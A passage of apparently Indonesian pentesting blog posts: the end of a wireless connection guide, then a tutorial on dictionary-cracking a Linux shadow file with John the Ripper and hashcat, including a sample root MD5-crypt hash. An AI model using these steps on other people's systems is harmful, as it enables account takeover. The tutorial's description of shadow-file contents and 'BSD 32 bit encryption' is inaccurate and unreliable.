root@blusp10it:~# iwconfig wlan0 essid [nama-access-point]

Jika ada enkripsi, masukkan key-nya dengan perintah:

Code:

root@blusp10it:~# iwconfig wlan0 s:"[password]"

Jika password-nya : superstar, maka perintahnya menjadi:

Code:

root@blusp10it:~# iwconfig wlan0 s:"superstar"

Koneksikan wireless interface ke tujuan

Sebelum melakukan koneksi, periksa dulu konfigurasi, apa sudah benar atau masih ada yang salah. Jika sudah barulah kita koneksikan wlan0 ke access point melalui perintah terminal:

Code:

root@blusp10it:~# dhclient wlan0

Jika sudah berhasil, di akhir output akan ada "bound to IP" dimana kamu sudah mendapatkan ip dari proses DHCP. Untuk melihat sukses atau tidaknya koneksi, kita bisa melihat hasil dari perintah:

Code:

root@blusp10it:~# ifconfig wlan0

Sukses!

Created by blusp10it

Cracking Shadow File [John+Hashcat]

2012-01-14T14:06:00.002+07:00

Shadow file adalah sebuah file yang berisikan informasi dari sebuah sistem operasi Linux, yang memuat:

Username
Salt
Password
User ID
Group ID
Full Name
Home Directory
Login Shell

Tantangan para penterster adalah, file shadow ini dienkripsi dengan sistem BSD 32 bit yang bila sebuah password sepanjang 10 karakter di-bruteforce
akan butuh seribu tahun untuk bisa menemukan kombinasinya. Namun, ada cara yang lebih cepat, yaitu dengan dictionary attack. Dengan dictionary attack, seorang pentester hanya butuh 2 sampai 3 jam saja untuk melakukan peretasan.

Yang kamu butuhkan:

John The Rripper (sudah ada di BackTrack)
HashCat (sudah ada di BackTrack)
File Shadow (bisa didapatkan di pc Unix kamu sendiri)
Dictionary

Menggunakan JTR
Pertama, sediakan file shadow dan dictionary, kemudian buka terminal,menuju ke /pentest/password/jtr.

Di sini saya mempunyai sebuah file shadow di folder /root/cracking-file-shadow/ bernama "shadow" dan di folder yang sama, saya juga sudah menyediakan sebuah dictionary list bernama "wordlist.lst". Berikut adalah file shadow dan dictionary saya:

SHADOW:

WORDLIST:

Untuk memulai cracking, kita harus mengetahui cara menggunakan JTR. Dimana:

Usage: john [OPTIONS] [PASSWORD-FILES]

Untuk cracking shadow, tentukan posisi wordlist serta shadow yang akan di crack.

Code:

root@blusp10it:/pentest/passwords/jtr# ./john --wordlist=[FILE] [SHADOW]

Dimana [FILE] adalah dictionary file kamu dan [SHADOW] adalah file shadow kamu.

Code:

root@blusp10it:/pentest/passwords/jtr# ./john --wordlist=/root/cracking-file-shadow/wordlist.lst /root/cracking-file-shadow/shadow

Jika berhasil di-crack:

Menggunakan HashCat
Menggunakan hachcat agak sedikit rumit daripada menggunakan JTR, karena kita harus menentukan tipe enkripsi file itu sendiri, dan harus ada modifikasi sedikit agar hashcat bisa membaca enkripsi shadow.

Penyesuaian:
Jika file shadow kamu seperti ini:

root:$1$aQo/FOTu$rriwTq.pGmN3OhFe75yd30:13574:0:::::

Hapus yang berwarna merah menjadi:

$1$aQo/FOTu$rriwTq.pGmN3OhFe75yd30
Kemudian, save file tersebut:

Jika sudah, kita lakukan cracking dengan perintah umum hashcat

Usage: ./hashcat-cli.bin [options] hashfile [wordfiles|directories]

Di sini, options akan kita gunakan untuk menentukan jenis enkripsi file yang akan kita crack yaitu: MD5(Unix) dengan nomor 500.

Setelah menentukan jenis enkripsi, kita harus menentukan file shadow dan dictionary kita, sehingga perintah akhirnya menjadi:

Code:

root@blusp10it:/pentest/passwords/hashcat# ./hashcat-cli.bin --hash-mode=500 /root/cracking-file-shadow/shadow /root/cracking-file-shadow/wordlist.lst

Jika berhasil di crack, akan seperti ini:

Created by blusp10it